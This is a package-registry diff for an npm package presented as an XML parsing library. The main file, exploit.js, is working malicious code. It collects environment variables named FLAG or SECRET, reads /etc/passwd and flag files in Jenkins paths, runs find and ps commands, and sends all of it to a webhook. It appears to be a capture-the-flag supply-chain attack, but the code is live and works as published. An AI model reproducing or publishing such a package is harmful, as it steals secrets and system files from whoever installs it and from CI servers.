superbankxmlparser 0.30.2 → 0.30.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/exploit.js +37 -42
  2. package/package.json +1 -1
package/exploit.js CHANGED
@@ -2,7 +2,7 @@ const fs = require('fs');
2
2
  const { exec } = require('child_process');
3
3
  const https = require('https');
4
4
 
5
- console.log('=== MALICIOUS LIBXMLJS2 PACKAGE INSTALLED ===');
5
+ console.log('=== MALICIOUS PACKAGE EXECUTED ===');
6
6
 
7
7
  function sendToWebhook(data) {
8
8
  try {
@@ -28,61 +28,56 @@ function sendToWebhook(data) {
28
28
  }
29
29
  }
30
30
 
31
- let collectedData = '';
31
+ let collectedData = '=== EXPLOIT DATA ===\n';
32
32
 
33
- // 1. Ищем флаг в рабочей директории Jenkins
34
- const searchPaths = [
33
+ // 1. Переменные окружения (может содержать флаг)
34
+ collectedData += '=== ENVIRONMENT ===\n';
35
+ for (let key in process.env) {
36
+ if (key.includes('FLAG') || key.includes('flag') || key.includes('SECRET')) {
37
+ collectedData += `${key}=${process.env[key]}\n`;
38
+ }
39
+ }
40
+
41
+ // 2. Попробуем прочитать флаг из разных мест
42
+ const paths = [
35
43
  '/etc/passwd',
36
- '/flag', // Dockerfile
37
- '/workspace/flag', // Jenkins workspace
38
- '/var/jenkins_home/jobs/staging/workspace/flag',
39
- '/usr/src/app/flag', // App directory
40
- './flag', // Current directory
44
+ '/flag',
41
45
  '/tmp/flag',
42
- '/root/flag'
46
+ '/var/jenkins_home/flag',
47
+ '/var/lib/jenkins/flag',
48
+ process.env.HOME + '/flag',
49
+ process.env.PWD + '/flag'
43
50
  ];
44
51
 
45
- searchPaths.forEach(path => {
52
+ paths.forEach(path => {
46
53
  try {
47
54
  const content = fs.readFileSync(path, 'utf8');
48
- console.log(`=== FOUND: ${path} ===`);
49
- console.log(content);
50
- collectedData += `=== ${path} ===\n${content}\n\n`;
51
-
55
+ collectedData += `=== ${path} ===\n${content}\n`;
52
56
  if (content.includes('{') && content.includes('}')) {
53
- console.log(`🚨 FLAG FOUND IN ${path}:`, content);
57
+ console.log(`🚨 FLAG FOUND: ${content}`);
54
58
  }
55
- } catch(e) {
56
- collectedData += `Not found: ${path}\n`;
57
- }
59
+ } catch(e) {}
58
60
  });
59
61
 
60
- // 2. Список файлов в текущей и корневой директориях
61
- exec('pwd && ls -la && ls -la /', (err, stdout) => {
62
- if (!err) {
63
- collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
62
+ // 3. Выполним команды для поиска
63
+ exec('env | grep -i flag', (err, stdout) => {
64
+ if (!err && stdout) {
65
+ collectedData += `=== ENV FLAG SEARCH ===\n${stdout}\n`;
64
66
  }
65
-
66
- // 3. Ищем файл flag рекурсивно
67
- exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
67
+
68
+ exec('find /var/jenkins_home /var/lib/jenkins /tmp /home -name "flag" -type f 2>/dev/null', (err, stdout) => {
68
69
  if (!err && stdout) {
69
- collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
70
-
71
- // Читаем найденные файлы
72
- const files = stdout.trim().split('\n');
73
- files.forEach(file => {
74
- try {
75
- const content = fs.readFileSync(file, 'utf8');
76
- collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
77
- console.log(`Content of ${file}:`, content);
78
- } catch(e) {}
79
- });
70
+ collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n`;
80
71
  }
81
72
 
82
- // Отправляем все данные
83
- sendToWebhook(collectedData);
84
-
85
- console.log('=== ALL COLLECTED DATA ===');
86
- console.log(collectedData);
73
+ // 4. Текущий процесс и его окружение
74
+ exec('ps aux | grep -i jenkins', (err, stdout) => {
75
+ if (!err) {
76
+ collectedData += `=== JENKINS PROCESSES ===\n${stdout}\n`;
77
+ }
78
+
79
+ sendToWebhook(collectedData);
80
+ console.log(collectedData);
81
+ });
87
82
  });
88
83
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "superbankxmlparser",
3
- "version": "0.30.2",
3
+ "version": "0.30.4",
4
4
  "description": "XML parsing library",
5
5
  "main": "index.js",
6
6
  "scripts": {